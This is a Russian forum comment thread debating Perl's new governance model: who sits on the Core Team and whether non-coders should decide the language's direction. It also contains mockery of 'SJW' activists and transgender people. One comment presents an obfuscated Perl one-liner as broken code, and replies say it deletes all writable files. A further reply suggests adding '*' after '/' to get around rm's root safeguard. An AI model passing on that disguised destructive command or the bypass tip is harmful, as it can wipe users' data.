Ключевые разработчики языка программирования Perl одобрили документ perlgov.pod, регламентирующий новую модель управления проектом. В качестве основы была использована утверждённая два года назад модель управления разработкой Python...Подробнее: https://www.opennet.ru/opennews/art.shtml?num=54145
Перл уже не спасти
От кого? Вроде покушений не было))
В любой коллективный управляющий орган набиваются sjw-активисты
Ну вот не стоит по своим линуксам да гуглам судить всех. BSDшники, например, послали всех этих sjw к первоисточнику. В отличие от некоторых уходящих в полугодовой отпуск по решению корпораций за недостаточную терпимость к черным беременным геям (;
знаешь анекдот о неуловимом джо? еще не вечер, к сожалению.
> Ну вот не стоит по своим линуксам да гуглам судить всех. BSDшники,
> например, послали всех этих sjw к первоисточнику.Это когда нанимали на пожертвования фонду консультанта по диверсити?
https://www.reddit.com/r/freebsd/comments/7zk3z6/benno_rice_.../
Это когда СоС ограничили доброжелательностью и уважительным отношением, вне зависимости от
https://www.opennet.ru/opennews/art.shtml?num=53138
> BSDшники, например, послали всех этих sjw к первоисточнику.смотря какие бздшники... у FreeBSD основатели сами из sjw и там их целое коммунити уже давным давно. среди разрабов опёнка тоже куча гиков лгбтшных.
отстранённо только NetBSD держится, тут - да. академическа консервативная публика. но и сама ос очень специфическая, без особенной популярности среди большинства.
Конечно не было. Кому и зачем покушаться на трупа ?)
От идиотов видимо.
А чего там про 6, 7? ;)
Perl 5 foreva
Значит, первую цифру вообще отбросить, как ничего не значащую.
Некогда им, надо директоров назначать коры тима.
А где же про master/slave, black/white?
Это впереди.
> Это впередиНу да. Для того ж на новую модель управления проектом и перешли. Не для развития ж языка! :-)
Для этогго есть PCRE…
Надо, чувствую, копипасту заготовить для таких, а то много развелось что-то…PCRE (Perl Compatible Regular Expressions) — библиотека, написанная на C. Прямого отношения к Perl она не имеет, более того, у неё несколько отличный от регулярок Perl синтаксис (некоторые опциональные фичи даже делают его несовместимым с Perl). Когда пишешь о регулярных выражениях Perl, упоминать PCRE неуместно.
bless убрать это оскорбляет атеистов
Ты не в курсе, бро. В сообществе хватает SJW драм. Было дело когда паренька затравили за ДЕДНЕЙМТНГ. Я сам переживаю как бы не ляпнуть чего не то и не попасть в опалу
А что есть «ДЕДНЕЙМТНГ»?
Это когда называешь ТРАНСГЕНДЕРА его паспортным именем, а не Светой, как он этого хочет
Вот как так? Практически вся новость на русском, кроме Core Team. Переводится же элементарно - похоронный комитет.
Long Live Perl!
Perl lives matter
Nothing else matter
Вечерний звон, вече-е-ерний звон
Как много дум наводит он...
> Nothing else mattermatter*s*
В случае с перлом активность подобных комитетов мало на что влияет. Даже если они полностью развалят проект, перл никуда не исчезнет. Можно будет минимум лет 10 пользоваться какой-нибудь 5.26 без особых напрягов. К тому времени активисты уже разбегутся.
cpan угробят, или переведут на модный-современный 7 без slave и blacklistИ пользы тебе от того что останется "5.26" ?
Зубри игогошечку, как все, не выпендривайся.
Зеркала останутся в огромном количестве. Тут на COBOL и FORTRAN куча кода до сих пор в промышленной эксплуатации, а Вы про Perl...
Не работатет:
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Написано же, «see». Вот и смотрите внимательно, делов-то. Можете не благодарить.
Блин, и что, теперь изолированную виртуалку создавать что ли, что бы посмотреть, что оно делает ...
Тут и без виртуалки понятно, что оно удалит всё, к чему есть у пользователя доступ на запись.
> Тут и без виртуалки понятно, что оно удалит всё, к чему есть
> у пользователя доступ на запись.А вот и нет!
rm: it is dangerous to operate recursively on '/'
rm: use --no-preserve-root to override this failsafe
>> Тут и без виртуалки понятно, что оно удалит всё, к чему есть
>> у пользователя доступ на запись.
> А вот и нет!
> rm: it is dangerous to operate recursively on '/'
> rm: use --no-preserve-root to override this failsafeЗвёздочку после / поставь, должно помочь. :-)
Два конкурирующих ведомства, занимающихся одним и тем же? Какжес...
А если новость прочитать сначала? Одни «болеют за Perl», и их больше десятка, а другие собственно работают, и их трое, но назначают их те самые полтора десятка. Очень жизненно.
Читал я. Чет ни члова не нашел про то чтоб те или эти _должны_ были работу работать. Одни руководят и выбирают, а другие руководят и утверждают. В самом деле очень жизненно.
Хм. А что Ларри тоже скоро устроится на работу в МС ?
Думаешь, там специально нанимают тех кому больше 80?Я полагаю, нет, Ларри не такой. Купит себе домик где-нибудь в горах, пенсия, дача, рыбалка.
Ракув ловить будет
Крайне жаль, что стратегические цели развития языка будут определять "не обязательно разработчики". Это исключительно фиговая идея, имхо. Как по мне, то "принимать /решения о/ значительных изменений в языке" должны _исключительно_ разработчики. Остальным тут делать нечего.
Потому что в противном случае, среди этих "не обязательно разработчиков" тут же появятся разные "лоббисты интересов", "платиновые спонсоры" и прочие "активисты".
То же самое можно сказать и о Python.
Там имеются ввиду разработчики самого перла.
И это как раз правильно - учитывать мнение тех, кто в реализацию перла не комитит, но сам активно на нем пишет.
> Там имеются ввиду разработчики самого перла.
> И это как раз правильно - учитывать мнение тех, кто в реализацию
> перла не комитит, но сам активно на нем пишет.Немного не так. Там сказано "не обязательно разработчики и коммитеры". То есть речь идет о людях, которые возможно ни строчки кода не уронили. Ни в сам перл, ни на перле. Это во-первых.
А во-вторых, "учитывать мнение" - это совсем не то же самое, что "исполнять принятое /людьми не пишущими код/ решение". А тут история именно об этом.
> Там имеются ввиду разработчики самого перла.
> И это как раз правильно - учитывать мнение тех, кто в реализацию
> перла не комитит, но сам активно на нем пишет.Вот цитата:
The Core Team are a group of trusted volunteers involved in the ongoing development of the Perl language and interpreter. They are not required to be language developers or committers.
Далее,
Core Team members should demonstrate:
A solid track record of being constructive and helpful
Significant contributions to the project's goals, _in _any_ form_
Willingness to dedicate some time to improving Perl
"Вклад в любой форме"
И вишенка:
Contributions are not limited to code. Here is an incomplete list of areas where contributions may be considered for joining the Core Team:
Working on community management and outreach
Providing support on mailing lists, IRC, or other forums
Triaging tickets
Writing patches (code, docs, or tests)
Reviewing patches (code, docs, or tests)
Participating in design discussions
Providing expertise in a particular domain (security, i18n, etc.)
Managing Perl infrastructure (websites, CI, documentation, etc.)
Maintaining significant projects in the Perl ecosystem
Creating visual designs
Тут достаточно самого первого - управление сообществом (приоритет!)
Вот именно!))"They are not required to be language developers or committers." Не требуется, Карл! Достаточно "involved in the ongoing development". А это участие может быть в куда как разной форме. Например, в форме спонсорской помощи, в форме написания статей в каких-либо СМИ, в разработке дизайна логотипов. В вашей "вишенке", собственно, об этом и речь.
И если его (анонима) устраивает, что судьбы проекта будут определять денежные мешки и "продвинутые" дизайнеры, то вот меня - ни разу. Лично для меня критерий прост: кто пишет больше правильного и эффективного кода, тот и решает. Остальные - в сад, курить бамбук. Мнение этих "остальных", конечно, учтем, но решать будем только сами.
Полагаю, что Аноним просто сам пишет на Perl и считает, что если он что-то создаёт, значит все такие. Ещё он оптимист и думает, что все эти истории с балаболами в управлении касаются лишь некоторых других проектов, а не всеобщая тенденция.
n00by правильно уловил, я тоже в эту сторону не подумал. Но ведь совершенно верно: нет гарантии что балаболов мешающих проекту не будет, как и нет гарантии что этих балаболок не наберется критическая масса.// имею коммиты в perl-core модули
> n00by правильно уловил, я тоже в эту сторону не подумал. Но ведь
> совершенно верно: нет гарантии что балаболов мешающих проекту не будет, как
> и нет гарантии что этих балаболок не наберется критическая масса.
> // имею коммиты в perl-core модулиЛично я питонятник, но эта история, она касается и нас тоже, - у нас же сейчас аналогичная структура. И тоже - никаких гарантий, что критическая масса.... Короче, ИМХО - в сад. Всех кто сам лично не пишет код - в сад, курить "бамбук". Их мнение хорошо за кружкой пива выслушать, а вовсе не получить в виде снега на голову с административного Олимпа.
> Крайне жаль, что стратегические цели развития языка будут определять
> "не обязательно разработчики".А можете носом ткнуть -- где именно это сказано?
>> Крайне жаль, что стратегические цели развития языка будут определять
>> "не обязательно разработчики".
> А можете носом ткнуть -- где именно это сказано?"Core Team включает ... не обязательно разработчиков и коммитеров."
"Руководящий совет состоит из трёх лидеров, избираемых голосованием в Core Team. Совет имеет широкие полномочия по принятию решений, связанных с разработкой языка Perl, интерпретатора и всех других компонентов"
>> Крайне жаль, что стратегические цели развития языка будут определять
>> "не обязательно разработчики".
> А можете носом ткнуть -- где именно это сказано?Вам уже ответил уважаемый n00by. Я с его ответом полностью солидарен.
Точнее не разработчики, а архитекторы. Мне кажется лучше сначала код на диаграмме отразить или в обобщённом алгоритме.
Солюшн архитектор (а речь, как я понимаю, именно об нем) по-определению, либо практикующий разработчик, либо был им в прошлом. Так что никакого противоречия тут нет. Ну и, честно говоря, любой продвинутый разработчик, уже как минимум на половину, - солюшн архитектор
пацанам захотелось славы питона
Думаю скоро и в Perl насуют синтаксического "сахара" и будет ещё одно уё...ще, а не язык :(
В Perl-е сахара очень много изначально, он и придаёт языку всю прелесть.
Когда в синтаксисе много сахара, то программы становятся жирными и медлительными
Прям как в расте, только там не сахар, а синтаксическое сало... толстое-претолстое.
>> Когда в синтаксисе много сахара,
>> то программы становятся жирными и медлительнымиВидимо, это вы о чём-то личном.
Perl же изначально реализован, как комфортный и гибкий язык. Эта гибкость привела к большой вариативности решений одних и тех же задач, и в конце концов, сгубила сам язык.
Perl очень удобен для опытных программеров и сильно пугает неопытных -- это хорошо видно по любому треду, касающемуся Perl-а.
Вот я никогда не писал на Perl, но иногда приходится читать скрипты на нём для внесения маленьких правок или чтобы разобраться, что он делает. И вот мнение, что он и так у*бище, а не язык. Извините.
на абсолютно любом языке можно написать так, что будет "у*бище"
нормально написаный код на перле (навжено ооп или нет) будет всегда
понятен. язык мощный, красивый и выразительный.По мне так отступы питона это и есть самое настоящие "у*бище", есть
тут те, кто начинал с Си и терпит этот питон? про Java молчу - там
80% размера исходного кода занимают имена классов, такое ощущение :)
> Вот я никогда не писал на Perl, но иногда приходится читать скрипты
> на нём для внесения маленьких правок или чтобы разобраться, что он
> делает.Но ведь получается.
> И вот мнение, что он
> язык только для чтения.У этого есть и свои плюсы. Вот я никогда не писал на Perl, но однажды мне пришлось доработать за мега-профи скрипт, который устанавливал их самую лучшую в мире "Рашн ОС энд Аппликейшн", потому что сами они не могли джва года добавить поддержку NVMe накопителей. Такая малость, но стоит это упомянуть, как начинается разнообразная реакция: одни не верят, что реально бывает такое дно, другие помирают со смеху, третьи... начинают разными способами рационализировать подгорание (Алзим, если ты уже успел напиться, лучше не отвечай, просто минусани пару раз).
Мне один раз показали скрипт на bash. И хоть у меня имеется довольно приличный опыт, но такого у*бища я никогда не видел. Даже не описать словами что это был за г-код, единственно, что можно сказать, такое ощущение, что его писала макака, которая не изучала не то что программирования, а элементарную информатику.
Перл и так состоит из сахара чуть менее чем полностью
15 лет назад я написал свой персональный сайт на перле
И больше к перлу не притрагиваюсь
Вот она - надёжность перла.
а так же его многоликость. если кто на перле начнет в регулярки, то потом ни один самый крутой криптолог не разберет что там хотели))) кстати на питоне тоже видел всякое и некоторые умудрялись из регулярок сделать такой лабиринт, что потом многие ломали над этим голову, в том числе и сами писатели через пару лет. но перл это нечто. это нечто неописуемое вообще ни чем. но самое смешное вполне сносно работает. иногда годами.
Если новичок будет писать то возможно, а так в сложные регулярки можно для читаемости добавлять пробелы, разбивать их на несколько строк и даже добавлять комментарии
Некрократия?
когда коту делать нечего...
…он комменты на опеннет пишет.
> но не обязательно разработчиков и коммитеровКак насчет сами-знаете-кого?
> Perl переходит на новую модель управленияЗвучит как будто ржавому гнилому кузову машины на свалке, без колёс, из которого уже трава местами растёт, поставили новый руль.
Нет, аналогия была бы верная, если бы вместо Perl был бы Visual Basic первой версии. А Perl он как машина, сделанная целиком из нержавейки лет 40 назад. Всё ещё как новая, везде ездит и всё ок.
>Всё ещё как новая, везде ездит и всё окВ том то и дело что нет.
Из дерева и поеденная термитами — пока не трогаешь, будет стоять, но как пошевелишь — рассыпется. Вот это близкая аналогия. Машина из дерева, да. Двигатель тоже деревянный.
Можно не использовать Perl, не любить его за что-то. Но хоронить Perl, тогда как регулярки в много какие языки заимствованы, как минимум, несколько наивно.
Дерево это хорошо, дерево это надёжно. К сожалению, от времени и погоды очень страдает и рассыпается без следа.
> рассыпается без следа.То-то по окаменелой древесине проводят радиоуглеродное датирование глубиной на десятки тысяч лет.
>> рассыпается без следа.
> То-то по окаменелой древесине проводят радиоуглеродное датирование глубиной на десятки
> тысяч лет.Далеко не любая древесина проживёт столько, совсем не при любых условиях.
> Нет, аналогия была бы верная, если бы вместо Perl был бы Visual Basic первой версии. А Perl он как машина, сделанная целиком из нержавейки лет 40 назад. Всё ещё как новая, везде ездит и всё ок.нужно учесть что время от времени узлы и агрегаты машины обновляются и модернизируются
> Звучит как будто ржавому гнилому кузову машины на свалке, без колёс, из которого уже трава местами растёт, поставили новый руль.Что-то не заметно. Медленнее работать он не стал, задачи выполняет только в путь, а синтаксис руки сами помнят так что не надо смотерть эти видосики вырвиглазные от всяких даунов. К тому же есть perldoc и маны и cpan - чего у "модных" языков то и нету, даже документация кроме того вот видосика на ютупе нету порой.
Если перл это машина (хотя это ракеты), то ржавые с квадратными колесами велосипеды - это все что после 2000х напридумано.
Интересно какой средний возраст в комитете и core team? Лет 60?
средний :) какой средний возраст пенсионера 60 лет и школоты 20 лет? 40 лет, оказывается... Имеет ли это какое-то отношение к реальности? Нет.
> Имеет ли это какое-то отношение к реальности? Нет.Если взять двух рандомных людей, то их средний возраст естественно не имеет никакого смысла, так же как и объединение этих двух рандомных людей в группу. Но вот средний возраст комитета в 60 лет будет иметь смысл. Так же как и средний возраст комитета равный 15 годам.
Очевидно выборка должна состоять из более чем двух людей.
"Core Team включает несколько десятков участников, заслуживающих всеобщего доверия, но не обязательно разработчиков и коммитеров."А это как? Остальные эффективные манагеры и прочие инклюзивные единицы?
>Perl переходит на новую модель управленияПохоронную?
https://www.youtube.com/watch?v=w0D2nadzBSQ